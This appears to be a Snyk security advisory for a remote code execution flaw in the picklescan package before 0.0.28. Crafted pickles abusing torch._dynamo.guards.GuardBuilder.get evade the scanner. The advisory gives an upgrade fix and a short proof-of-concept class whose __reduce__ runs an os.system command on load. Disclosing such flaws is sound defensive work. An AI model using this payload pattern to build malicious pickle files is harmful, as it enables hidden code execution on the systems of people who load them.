Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-12177841
  • published24 Aug 2025
  • disclosed22 Aug 2025
  • creditFredericDT

Introduced: 22 Aug 2025

New CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.28 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using the torch._dynamo.guards.GuardBuilder.get function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function and remains undetected during security checks, and is then loaded with pickle by a user.

PoC

import types
import torch._dynamo.guards as guards

class EvilTorchDynamoGuardsGet:
    def __reduce__(self):
        fake_self = types.SimpleNamespace(scope={})
        name = "__import__('os').system('whoami')"
        return guards.GuardBuilder.get, (fake_self, name)

CVSS Base Scores

version 4.0
version 3.1